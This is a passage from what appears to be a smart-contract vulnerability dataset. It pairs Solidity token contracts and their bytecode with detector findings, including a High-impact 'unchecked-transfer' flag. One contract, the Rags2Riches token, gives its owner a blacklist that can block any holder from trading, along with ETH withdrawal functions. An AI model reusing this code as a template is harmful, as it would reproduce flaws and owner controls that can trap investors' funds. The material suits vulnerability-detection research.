emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105fc565b3480156102d957600080fd5b5061010b610715565b3480156102ee57600080fd5b506101a4600160a060020a036004351660243561074c565b34801561031257600080fd5b506101ee600160a060020a036004358116906024351661078d565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b8565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600981527f4249542041474f52410000000000000000000000000000000000000000000000602082015281565b60006103f2338461078d565b15806103fc575081155b151561040757600080fd5b6104118383610849565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108af565b90505b9392505050565b601281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105f45761056b6c01431e0fae6d7217caa0000000600454610a4e565b82111561057a5750600061052a565b336000908152602081905260409020546105949083610a60565b336000908152602081905260409020556004546105b19083610a60565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061657600080fd5b600160a060020a03841630141561062c57600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069957600080fd5b505af11580156106ad573d6000803e3d6000fd5b505050506040513d60208110156106c357600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600381527f4241410000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076957600080fd5b60055460ff161561077c57506000610414565b6107868383610a6f565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107cf57600080fd5b33600160a060020a03831614156107e557600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c657600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f9575060006104ad565b600160a060020a038416600090815260208190526040902054821115610921575060006104ad565b600082118015610943575082600160a060020a031684600160a060020a031614155b156109f957600160a060020a03841660009081526001602090815260408083203384529091529020546109769083610a4e565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109b09083610a4e565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109df9083610a60565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5a57fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8657600080fd5b33600090815260208190526040902054821115610aa557506000610414565b600082118015610abe575033600160a060020a03841614155b15610b235733600090815260208190526040902054610add9083610a4e565b3360009081526020819052604080822092909255600160a060020a03851681522054610b099083610a60565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a723058209eec0b49434186d204dc2c712973637264fdd973b3b3d16811ee64ac7769e4e10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,465 |
0x0077c5372F41275f67f8106c4970bf6c773767c6 | /**
*Submitted for verification at Etherscan.io on 2022-02-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-06
*/
/**
//SPDX-License-Identifier: UNLICENSED
Follow us on Telegram! TG: t.me/rags2richesio
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface Lottery {
function init(bool _jackpotMod, uint _jackpotType ) external;
function enter( address _participant ) external;
function startLottery() external;
function endLottery() external;
function lotteryState() external view returns(uint256);
function extract(address _participant) external;
function validateLottery() external;
}
contract Rags2Riches is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _previousFeeAddr1;
uint256 private _previousFeeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Rags2Riches";
string private constant _symbol = "R2R";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
//Variables for Sniper Control
mapping (address => bool) private bots;
bool private sniperProtection = true;
uint256 public snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
uint256 public _liqAddBlock = 0;
uint256 public _liqAddStamp = 0;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWtAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
address payable public playLotAddr;
address payable public holdLotAddr;
uint256 public minAmountForHolder;
event Log(string message);
event Value(uint256 value);
Lottery playerLot;
Lottery holdersLot;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xbd00fE041Fe2636CedAb6bF1cD0022E24962766d);
_feeAddrWallet2 = payable(0xC162f70CAfF9F8D5177379Bfe2D0812B86dE8730);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 4;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
if ((block.number - _liqAddBlock < 0) && tradingOpen) {
bots[to] = true;
}
require(!bots[from] && !bots[to]);
if(amount >= _maxTxAmount){
amount = _maxTxAmount;
}
if(to != uniswapV2Pair && !_isExcludedFromFee[to]){
require(balanceOf(to) + amount <= _maxWtAmount );
if(playLotAddr != address(0)){
if(LotState(playerLot) == 0){
enterLottery(playerLot, to);
LotteryCheck(playerLot);
}
}
if(holdLotAddr != address(0)){
if((balanceOf(to) + amount >= minAmountForHolder) && LotState(holdersLot) == 0){
enterLottery(holdersLot, to);
}
LotteryCheck(holdersLot);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(holdLotAddr != address(0) ){
if(balanceOf(from) - amount <= minAmountForHolder){
extractPlayer(holdersLot,from);
}
}
swapAndLiquidify(contractTokenBalance);
if(playLotAddr != address(0) && LotState(playerLot) == 0){
LotteryCheck(playerLot);
}
if(holdLotAddr != address(0) && LotState(holdersLot) == 0){
LotteryCheck(holdersLot);
}
}
}
bool tradeFee = true;
if(_isExcludedFromFee[to] || _isExcludedFromFee[from]){
tradeFee=false;
}
_tokenTransfer(from,to,amount, tradeFee);
}
function swapAndLiquidify(uint256 contractTokenBalance) private {
swapTokensForEth(contractTokenBalance);
uint256 ETHBalance = address(this).balance;
if(ETHBalance > 0){
uint256 EthForTeams = ETHBalance.mul(66).div(10**2);
sendETHToFee(EthForTeams);
uint256 EthForLottery = (ETHBalance).sub(EthForTeams);
sendETHToLottery(EthForLottery);
}
}
function ExtractEth(uint256 _AmountPercentage) public onlyOwner{
uint256 ETHBalance = address(this).balance;
uint256 ETHPercentage = ETHBalance.mul(_AmountPercentage).div(10**2);
sendETHToFee(ETHPercentage);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
){}
catch Error(string memory reason){
emit Log(reason);
}
catch{
emit Log("Swap Failed");
}
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function sendETHToLottery(uint256 amount) private {
uint256 holdAmount = amount;
if(playLotAddr != address(0)){
holdAmount = amount - amount.mul(75).div(10**2);
playLotAddr.transfer(amount.mul(75).div(10**2));
}
if(holdLotAddr != address(0)){
holdLotAddr.transfer(holdAmount);
}
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
_liqAddBlock = block.number + 2;
_maxTxAmount = _tTotal.mul(15).div(10**3);
_maxWtAmount = _tTotal.mul(2).div(10**2);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private lockTheSwap{
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
try uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
){
}catch Error(string memory reason){
emit Log(reason);
}
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool tradeFee) private {
if(!tradeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!tradeFee){
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function removeAllFee() private {
if(_feeAddr1 == 0 && _feeAddr2 == 0) return;
_previousFeeAddr1 = _feeAddr1;
_previousFeeAddr2 = _feeAddr2;
_feeAddr1 = 0;
_feeAddr2 = 0;
}
function restoreAllFee() private {
_feeAddr1 = _previousFeeAddr1;
_feeAddr2 = _previousFeeAddr2;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function setMaxWtPercent(uint256 maxWtPercent) external onlyOwner() {
_maxWtAmount = _tTotal.mul(maxWtPercent).div(10**2);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function initPlayerJackpot (address _jackpotContract) public onlyOwner{
playerLot = Lottery(_jackpotContract);
playerLot.init(true, 0 );
playerLot.startLottery();
playLotAddr = payable(_jackpotContract);
_isExcludedFromFee[playLotAddr] = true;
}
function LotState(Lottery _lot) private returns(uint){
try _lot.lotteryState() returns (uint256 _state) {
return _state;
}catch Error(string memory reason){
emit Log(reason);
return 1;
}
catch{
emit Log("Failed to acquire Lottery State");
return 1;
}
}
function initHolderJackpot (address _jackpotContract) public onlyOwner{
holdersLot = Lottery(_jackpotContract);
holdersLot.init(true, 1);
holdersLot.startLottery();
holdLotAddr = payable(_jackpotContract);
_isExcludedFromFee[holdLotAddr] = true;
}
function minHolderLotteryValue(uint256 _value) public onlyOwner{
minAmountForHolder = _value.mul(10**9);
}
function enterLottery(Lottery _lot, address _participant) private {
try _lot.enter(_participant){
}catch Error(string memory reason){
emit Log(reason);
}catch{
emit Log("Error Entering Lottery");
}
}
function LotteryCheck(Lottery _lot) private{
try _lot.validateLottery(){}
catch Error(string memory reason){
emit Log(reason);
}catch{
emit Log("Error Entering Lottery");
}
}
function extractPlayer(Lottery _lot, address _participant) private {
try _lot.extract(_participant){
}catch Error(string memory reason){
emit Log(reason);
}catch{
emit Log("Error Entering Lottery");
}
}
} | 0x6080604052600436106101d15760003560e01c806395d89b41116100f7578063c9567bf911610095578063d8e173d411610064578063d8e173d41461052f578063dd62ed3e1461054f578063de80aceb14610595578063e79d4160146105ab57600080fd5b8063c9567bf9146104c4578063d04102b3146104d9578063d2196d55146104ef578063d543dbeb1461050f57600080fd5b8063a9059cbb116100d1578063a9059cbb14610459578063a99e9a5614610479578063b515566a1461048f578063c3c8cd80146104af57600080fd5b806395d89b41146103ed578063a6109e0414610419578063a7767b811461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba5780638da5cb5b146103cf57600080fd5b8063313ce56714610313578063570ce7a61461032f5780635932ead1146103455780635f8fdb381461036557600080fd5b806320ca8335116101ab57806320ca8335146102795780632399fe48146102b157806323b872dd146102d3578063273123b7146102f357600080fd5b806306fdde03146101dd578063095ea7b31461022357806318160ddd1461025357600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600b81526a526167733252696368657360a81b60208201525b60405161021a919061247a565b60405180910390f35b34801561022f57600080fd5b5061024361023e3660046122f7565b6105c1565b604051901515815260200161021a565b34801561025f57600080fd5b50683635c9adc5dea000005b60405190815260200161021a565b34801561028557600080fd5b50601a54610299906001600160a01b031681565b6040516001600160a01b03909116815260200161021a565b3480156102bd57600080fd5b506102d16102cc36600461241a565b6105d8565b005b3480156102df57600080fd5b506102436102ee3660046122b6565b61061f565b3480156102ff57600080fd5b506102d161030e366004612243565b610688565b34801561031f57600080fd5b506040516009815260200161021a565b34801561033b57600080fd5b5061026b60135481565b34801561035157600080fd5b506102d16103603660046123e0565b6106d3565b34801561037157600080fd5b506102d161038036600461241a565b610719565b34801561039157600080fd5b506102d1610767565b3480156103a657600080fd5b5061026b6103b5366004612243565b610794565b3480156103c657600080fd5b506102d16107b6565b3480156103db57600080fd5b506000546001600160a01b0316610299565b3480156103f957600080fd5b5060408051808201909152600381526229192960e91b602082015261020d565b34801561042557600080fd5b506102d1610434366004612243565b61082a565b34801561044557600080fd5b506102d161045436600461241a565b61096a565b34801561046557600080fd5b506102436104743660046122f7565b6109b6565b34801561048557600080fd5b5061026b60155481565b34801561049b57600080fd5b506102d16104aa366004612323565b6109c3565b3480156104bb57600080fd5b506102d1610a59565b3480156104d057600080fd5b506102d1610a8f565b3480156104e557600080fd5b5061026b60165481565b3480156104fb57600080fd5b506102d161050a366004612243565b610e97565b34801561051b57600080fd5b506102d161052a36600461241a565b610fd7565b34801561053b57600080fd5b50601b54610299906001600160a01b031681565b34801561055b57600080fd5b5061026b61056a36600461227d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a157600080fd5b5061026b601c5481565b3480156105b757600080fd5b5061026b60145481565b60006105ce33848461101f565b5060015b92915050565b6000546001600160a01b0316331461060b5760405162461bcd60e51b8152600401610602906124cf565b60405180910390fd5b61061981633b9aca00611143565b601c5550565b600061062c8484846111c9565b61067e843361067985604051806060016040528060288152602001612759602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061167d565b61101f565b5060019392505050565b6000546001600160a01b031633146106b25760405162461bcd60e51b8152600401610602906124cf565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146106fd5760405162461bcd60e51b8152600401610602906124cf565b60178054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146107435760405162461bcd60e51b8152600401610602906124cf565b610761606461075b683635c9adc5dea0000084611143565b906116b7565b60195550565b600d546001600160a01b0316336001600160a01b03161461078757600080fd5b47610791816116f9565b50565b6001600160a01b0381166000908152600260205260408120546105d29061177e565b6000546001600160a01b031633146107e05760405162461bcd60e51b8152600401610602906124cf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108545760405162461bcd60e51b8152600401610602906124cf565b601e80546001600160a01b0319166001600160a01b038316908117909155604051633fbbb88360e21b8152600160048201819052602482015263feeee20c90604401600060405180830381600087803b1580156108b057600080fd5b505af11580156108c4573d6000803e3d6000fd5b50505050601e60009054906101000a90046001600160a01b03166001600160a01b031663160344e26040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561091857600080fd5b505af115801561092c573d6000803e3d6000fd5b5050601b80546001600160a01b039094166001600160a01b03199094168417905550506000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146109945760405162461bcd60e51b8152600401610602906124cf565b4760006109a6606461075b8486611143565b90506109b1816116f9565b505050565b60006105ce3384846111c9565b6000546001600160a01b031633146109ed5760405162461bcd60e51b8152600401610602906124cf565b60005b8151811015610a5557600160116000848481518110610a1157610a11612643565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a4d81612612565b9150506109f0565b5050565b600d546001600160a01b0316336001600160a01b031614610a7957600080fd5b6000610a8430610794565b9050610791816117fb565b6000546001600160a01b03163314610ab95760405162461bcd60e51b8152600401610602906124cf565b601054600160a01b900460ff1615610b135760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610602565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b503082683635c9adc5dea0000061101f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8957600080fd5b505afa158015610b9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc19190612260565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0957600080fd5b505afa158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c419190612260565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c8957600080fd5b505af1158015610c9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc19190612260565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610cf181610794565b600080610d066000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da2919061244c565b50506017805461ff001916610100179055506010805460ff60a01b1916600160a01b179055610dd2436002612575565b601555610def6103e861075b683635c9adc5dea00000600f611143565b601855610e0b606461075b683635c9adc5dea000006002611143565b601955601054600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610e5f57600080fd5b505af1158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5591906123fd565b6000546001600160a01b03163314610ec15760405162461bcd60e51b8152600401610602906124cf565b601d80546001600160a01b0319166001600160a01b038316908117909155604051633fbbb88360e21b8152600160048201526000602482015263feeee20c90604401600060405180830381600087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b50505050601d60009054906101000a90046001600160a01b03166001600160a01b031663160344e26040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f8557600080fd5b505af1158015610f99573d6000803e3d6000fd5b5050601a80546001600160a01b039094166001600160a01b03199094168417905550506000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146110015760405162461bcd60e51b8152600401610602906124cf565b611019606461075b683635c9adc5dea0000084611143565b60185550565b6001600160a01b0383166110815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610602565b6001600160a01b0382166110e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610602565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600082611152575060006105d2565b600061115e83856125af565b90508261116b858361258d565b146111c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610602565b9392505050565b6001600160a01b03831661122d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610602565b6001600160a01b03821661128f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610602565b6000811161